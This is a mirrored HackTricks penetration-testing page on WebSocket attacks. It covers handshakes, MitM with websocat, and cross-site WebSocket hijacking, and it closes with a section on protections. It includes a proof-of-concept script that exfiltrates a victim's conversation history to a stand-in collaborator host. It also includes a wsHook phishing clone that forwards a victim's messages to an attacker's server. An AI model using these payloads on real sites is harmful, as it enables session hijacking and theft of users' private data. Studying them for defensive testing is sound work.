mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
211 lines
13 KiB
Markdown
211 lines
13 KiB
Markdown
# WebSocket Attacks
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## What are WebSockets
|
||
|
||
WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams.
|
||
|
||
### Establishment of WebSocket Connections
|
||
|
||
A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:
|
||
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||
```
|
||
|
||
The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection.
|
||
|
||
During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:
|
||
|
||
Browser sends a handshake request:
|
||
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
|
||
Server's handshake response:
|
||
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
|
||
The connection remains open for message exchange in both directions once established.
|
||
|
||
**Key Points of the WebSocket Handshake:**
|
||
|
||
- The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
|
||
- The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
|
||
- A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
|
||
- The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.
|
||
|
||
These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.
|
||
|
||
### Linux console
|
||
|
||
You can use `websocat` to establish a raw connection with a websocket.
|
||
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
|
||
Or to create a websocat server:
|
||
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
|
||
### MitM websocket connections
|
||
|
||
If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)to perform a MitM attack between the client and the server.\
|
||
Once the client is trying to connect to you can then use:
|
||
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
|
||
### Websockets enumeration
|
||
|
||
You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.
|
||
|
||
### Websocket Debug tools
|
||
|
||
- **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
|
||
- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.**
|
||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server.
|
||
- [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication.
|
||
- [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**.
|
||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.**
|
||
|
||
## Decrypting Websocket
|
||
|
||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||
|
||
## Websocket Lab
|
||
|
||
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.
|
||
|
||
## Websocket Fuzzing
|
||
|
||
The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) now allows to fuzz also WebSocket messages. You can read more infromation abou this [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
|
||
|
||
## Cross-site WebSocket hijacking (CSWSH)
|
||
|
||
**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures.
|
||
|
||
Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
|
||
|
||
In order for this attack to work, these are the requirements:
|
||
|
||
- The websocket **authentication must be cookie based**
|
||
- The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome.
|
||
- The websocket server must not check the origin of the connection (or this must be bypasseable)
|
||
|
||
Also:
|
||
|
||
- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||
|
||
### Simple Attack
|
||
|
||
Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**.
|
||
|
||
Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.:
|
||
|
||
```html
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
|
||
### Cross Origin + Cookie with a different subdomain
|
||
|
||
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.
|
||
|
||
### Stealing data from user
|
||
|
||
Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:
|
||
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
;<script src="wsHook.js"></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function (data, url) {
|
||
var xhttp = new XMLHttpRequest()
|
||
xhttp.open("GET", "client_msg?m=" + data, true)
|
||
xhttp.send()
|
||
}
|
||
wsHook.after = function (messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest()
|
||
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
|
||
xhttp.send()
|
||
return messageEvent
|
||
}
|
||
```
|
||
|
||
Now download the `wsHook.js` file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) and **save it inside the folder with the web files**.\
|
||
Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:
|
||
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
|
||
### CSWSH Protections
|
||
|
||
The CSWSH attack is based on the fact that an **user will connect to a malicious page** that will **open a websocket connection** to a web page where the user is already connected and will authenticate as him as the request will send the user's cookies.
|
||
|
||
Nowadays, it's very easy to prevent this issue:
|
||
|
||
- **Websocket server checking the origin**: The websocket server should always check from where a suer is connecting to prevent unexpected pages from connecting to it.
|
||
- **Authentication token**: Instead of basing the authentication on a cookie, the websocket connection could be based on a token that is generated by the server for the user unknown to the attacker (like an anti-CSRF token)
|
||
- **SameSite Cookie attribute**: Cookies with `SameSite` value as `Lax` or `Strict` won't be sent from an external attackers page to the victim server, therefore, cookie based authentication won't be successful. Note that Chrome now puts the value **`Lax`** to the cookies withuot this flag specfied maing this more secure by default. Although, the first 2 minutes a cookie is created it will have the value **`None`** making it vulnerable during that imited period of time (also it's expected that this meassure will be removed at some point).
|
||
- **Firefox Total Cookie Protection**: Total Cookie Protection works by isolating cookies to the site in which they are created. Essentially each site has its own cookie storage partition to prevent third parties linking a user’s browsing history together. This makes **CSWSH unusable** as the attackers site won't have access to the cookies.
|
||
- **Chrome third-party cookies block**: This could also prevent sending the cookie of the authenticated user to the websocket server even with `SameSite=None`.
|
||
|
||
## Race Conditions
|
||
|
||
Race Conditions in WebSockets are also a thing, [check this information to learn more](race-condition.md#rc-in-websockets).
|
||
|
||
## Other vulnerabilities
|
||
|
||
As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**
|
||
|
||
## **WebSocket Smuggling**
|
||
|
||
This vulnerability could allow you to **bypass reverse proxies restrictions** by making them believe that a **websocket communication was stablished** (even if it isn't true). This could allow an attacker to **access hidden endpoints**. For more information check the following page:
|
||
|
||
|
||
{{#ref}}
|
||
h2c-smuggling.md
|
||
{{#endref}}
|
||
|
||
## References
|
||
|
||
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
|